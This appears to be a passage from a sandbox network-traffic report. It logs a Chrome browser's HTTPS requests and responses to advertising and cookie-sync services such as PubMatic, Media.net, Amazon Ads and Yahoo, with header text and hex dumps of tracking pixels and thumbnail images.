2024-05-23 22:35:06 UTC	1675	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPUa81a22b1334148ecb90f459b2fd358d9 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
2024-05-23 22:35:06 UTC	695	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; domain=pubmatic.com; SameSite=None; secure; expires=Thu, 06-Jun-2024 22:35:06 GMT; path=/ Set-Cookie: PugT=1716503706; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.6	50312	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1507	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=8785666810998501200 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704
2024-05-23 22:35:06 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:05 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-8785666810998501200&KRTB&23263-8785666810998501200&KRTB&23481-8785666810998501200; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:05 GMT; path=/ Set-Cookie: PugT=1716503705; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:05 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.6	50311	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	876	OUT	GET /cksync.html?cs=8&vsid=3595052986404735000V10&type=rkt&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=5144588530448503731 HTTP/1.1 Host: contextual.media.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10
2024-05-23 22:35:06 UTC	643	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-rk=5144588530448503731~~8;Expires=Thu, 22 May 2025 22:35:06 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Thu, 23 May 2024 22:35:06 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 23 May 2024 22:35:06 GMT Connection: close
2024-05-23 22:35:06 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-05-23 22:35:06 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.6	50313	54.239.33.158	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	705	OUT	GET /s/ecm3?ex=rubiconprojectHMT&id=5RidXYCrRWyX3hVU66KEVw&gdpr=0 HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
2024-05-23 22:35:06 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 8EJ9WDE55EQ8VQMT3FG0 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.6	50296	54.146.53.134	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1085	OUT	GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY
2024-05-23 22:35:06 UTC	120	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Thu, 23 May 2024 22:35:06 GMT Content-Length: 43 Connection: Close
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.6	50273	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1050	OUT	GET /usersync2/rmphb?zcc=1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D&cb=1716503703006&us_privacy=1YNN HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%2C%22zdxidn%22%3A%222064%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D%22%7D
2024-05-23 22:35:06 UTC	784	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:06 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%7D; path=/; expires=Fri, 23 May 2025 22:35:06 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.targeting.unrulymedia.com/csync/RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003?redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DRX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%26us_privacy%3D1YNN connection: close
2024-05-23 22:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.6	50319	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1659	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=5134455425174035855 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
2024-05-23 22:35:06 UTC	583	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_18=22947-5134455425174035855; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:06 GMT; path=/ Set-Cookie: PugT=1716503706; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.6	50278	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	534	OUT	GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F46063723c8168ec623070ebddfba52dd&client=76f99bdb8f78cd44cc0b&signature=78c607183671b4e9d7f18dfbdfda68fa9f257a77 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	1131	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2832 Cache-Control: public, max-age=2592000 Cache-Tag: 457614407190179086354728135388397195040,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21978-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: b93b4c2b31b181ff99e6bd129dfe4394 cld_latency: 573 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:06 GMT Edge-Cache-Tag: 457614407190179086354728135388397195040,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e Etag: "1d2baa0f1fb1d157c4eb518f8c2ff2e9" Last-Modified: Thu, 23 May 2024 21:47:55 GMT Server: ECAcc (lhd/35BD) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=200,height=200,bytes=10080,owidth=1200,oheight=800,obytes=144836,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: b93b4c2b31b181ff99e6bd129dfe4394 X-Served-By: cache-lga21978-LGA X-Timer: S1716500874.182458,VS0,VE573 Content-Length: 10080 Connection: close
2024-05-23 22:35:06 UTC	10080	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 08 07 06 0a 08 08 08 0b 0a 0a 0b 0e 18 10 0e 0d 0d 0e 1d 15 16 11 18 23 1f 25 24 22 1f 22 21 26 2b 37 2f 26 29 34 29 21 22 30 41 31 34 39 3b 3e 3e 3e 25 2e 44 49 43 3c 48 37 3d 3e 3b ff db 00 43 01 10 11 11 17 14 17 2c 18 18 2c 5d 3e 35 3e 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d ff c2 00 11 08 00 c8 00 c8 03 01 11 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 04 05 02 03 06 07 00 01 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 e7 b6 1e 21 22 ea 94 fb Data Ascii: JFIFC#%$""!&+7/&)4)!"0A149;>>>%.DIC<H7=>;C,,]>5>]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]!"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.6	50279	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	534	OUT	GET /images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F571c1467e77262475eef8398533d84f4&client=76f99bdb8f78cd44cc0b&signature=77ee9557942a8dc5ca9aa76c5f9d2e4a4414d393 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	1147	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 12594 Cache-Control: public, max-age=2592000 Cache-Tag: 261839266206918352339202126659389067885,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000147-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 99 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:06 GMT Edge-Cache-Tag: 261839266206918352339202126659389067885,218563290072657596643660937366443122358,ae7a14591aaf8d474cdb3f92111c923e Etag: "7a3c01bdd80a128af90be80040e887f8" Expiration: expiry-date="Thu, 25 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 26 Jan 2024 19:41:49 GMT Server: ECAcc (lhd/35E3) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=200,height=200,bytes=11935,owidth=1600,oheight=900,obytes=477791,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000147-IAD X-Timer: S1716491115.962827,VS0,VE99 Content-Length: 11935 Connection: close
2024-05-23 22:35:06 UTC	11935	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 03 03 03 03 03 03 04 04 04 04 05 05 05 05 05 07 07 06 06 07 07 0b 08 09 08 09 08 0b 11 0b 0c 0b 0b 0c 0b 11 0f 12 0f 0e 0f 12 0f 1b 15 13 13 15 1b 1f 1a 19 1a 1f 26 22 22 26 30 2d 30 3e 3e 54 01 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 11 10 10 11 13 1c 14 16 14 16 14 1c 2b 1b 1f 1b 1b 1f 1b 2b 26 2e 25 23 25 2e 26 44 35 2f 2f 35 44 4e 42 3e 42 4e 5f 55 55 5f 77 71 77 9c 9c d1 ff c2 00 11 08 00 c8 00 c8 03 01 11 00 02 11 01 03 11 01 ff c4 00 36 00 00 00 06 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 01 07 08 09 01 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 01 05 02 03 04 06 07 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ed 82 c8 59 0a f0 72 60 b5 8c c8 72 Data Ascii: JFIF&""&0-0>>T++&.%#%.&D5//5DNB>BN_UU_wqw6Yr`r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.6	50316	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1129	OUT	GET /setuid?bidder=rubicon&uid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifX19
